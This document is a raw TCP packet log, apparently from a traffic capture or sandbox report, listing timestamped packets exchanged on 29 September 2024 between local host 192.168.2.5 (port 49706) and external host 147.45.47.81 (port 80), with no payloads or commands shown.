Sep 29, 2024 09:44:14.348752022 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.348752022 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.348773956 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.348787069 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.348792076 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.348814964 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.348815918 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.348839045 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.348851919 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.348859072 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.348876953 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.348892927 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.348901987 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.348918915 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.348938942 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.348942041 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.348961115 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.348979950 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.348984003 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.349020958 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.349095106 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.349247932 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.349276066 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.349287033 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.349293947 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.349318981 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.349328995 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.349337101 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.349360943 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.349371910 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.349379063 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.349401951 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.349415064 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.349416018 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.349443913 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.349451065 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.349461079 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.349486113 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.349498034 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.349508047 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.349545002 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.349765062 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.349778891 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.349806070 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.349816084 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.349826097 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.349843979 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.349858046 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.349868059 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.349888086 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.349901915 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.349901915 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.349930048 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.349936962 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.349944115 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.349968910 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.349976063 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.349987030 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.350012064 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.350019932 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.350032091 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.350069046 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.350192070 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.350208044 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.350234985 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.350248098 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.350255966 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.350276947 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.350291967 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.350297928 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.350316048 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.350333929 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.350339890 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.350369930 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.350374937 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.350388050 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.350411892 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.350421906 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.350431919 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.350452900 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.350472927 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.350477934 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.350497007 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.350508928 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.350517035 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.350538015 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.350550890 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.350554943 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.350577116 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.350589037 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.350600958 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.350621939 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.350637913 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.350640059 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.350665092 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.350680113 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.350683928 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.350708961 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.350718975 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.350724936 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.350752115 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.350759029 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.350944996 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.350959063 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.350985050 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.350986958 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.351010084 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.351023912 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.351094961 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.351114988 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.351134062 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.351140022 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.351157904 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.351176977 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.351181984 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.351211071 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.351217985 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.351229906 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.351253986 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.351268053 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.351270914 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.351295948 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.351301908 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.351313114 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.351336956 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.351351023 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.351351023 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.351378918 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.351408005 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.351416111 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.351434946 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.351455927 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.351459980 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.351479053 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.351497889 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.351501942 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.351521969 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.351536036 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.351537943 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.351562023 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.351572990 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.351583958 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.351620913 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.351628065 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.351645947 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.351670980 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.351681948 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.351756096 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.351773977 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.351797104 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.351798058 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.351819038 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.351834059 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.351839066 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.351857901 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.351874113 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.351881027 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.351903915 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.351913929 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.351917982 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.351946115 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.351957083 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.352040052 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.352057934 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.352077007 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.352082014 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.352101088 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.352122068 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.352123976 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.352145910 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.352159977 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.352164030 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.352186918 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.352200031 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.352206945 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.352229118 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.352242947 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.352251053 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.352284908 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.352370977 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.352389097 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.352412939 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.352425098 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.352432966 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.352453947 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.352473974 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.352478981 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.352499962 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.352510929 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.352521896 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.352540016 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.352557898 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.352564096 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.352586985 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.352612019 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.352655888 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.352675915 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.352694988 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.352699995 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.352727890 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.352735043 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.352749109 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.352768898 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.352783918 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.352787018 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.352811098 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.352827072 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.352828026 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.352853060 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.352864981 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.352869987 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.352894068 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.352902889 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.352915049 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.352936029 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.352951050 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.352957964 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.352981091 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.352994919 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.352994919 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.353020906 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.353034019 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.353064060 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.353081942 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.353101015 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.353149891 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.353168011 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.353190899 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.353193998 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.353215933 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.353233099 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.353262901 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.353283882 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.353300095 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.353311062 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.353332996 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.353348970 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.353353024 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.353374004 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.353389025 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.353394032 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.353415966 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.353430986 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.353432894 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.353467941 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.353468895 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.353487968 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.353524923 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.353707075 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.353722095 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.353748083 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.353759050 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.353774071 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.353799105 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.353811979 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.353816032 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.353841066 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.353849888 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.353859901 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.353882074 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.353894949 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.353902102 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.353926897 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.353935957 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.353948116 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.353967905 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.353985071 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.353988886 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.354010105 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.354027987 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.354027987 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.354053974 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.354063988 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.354182959 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.354199886 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.354221106 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.354232073 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.354250908 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.354269028 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.354274988 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.354295015 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.354305029 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.354315996 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.354336023 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.354350090 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.354356050 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.354374886 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.354391098 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.354397058 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.354414940 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.354429960 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.354439974 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.354458094 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.354475021 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.354481936 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.354500055 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.354516983 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.354526043 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.354538918 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.354568958 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.354872942 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.354902029 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.354918003 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.354926109 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.354960918 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.355000019 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.355017900 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.355042934 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.355055094 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.355063915 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.355098009 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.355098009 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.355117083 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.355140924 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.355154037 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.355161905 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.355197906 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.355231047 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.355247021 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.355281115 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.355283976 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.355302095 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.355320930 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.355336905 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.355340958 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.355364084 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.355372906 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.355393887 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.355429888 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.355433941 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.355448008 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.355474949 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.355488062 CEST	49706	80	192.168.2.5	147.45.47.81
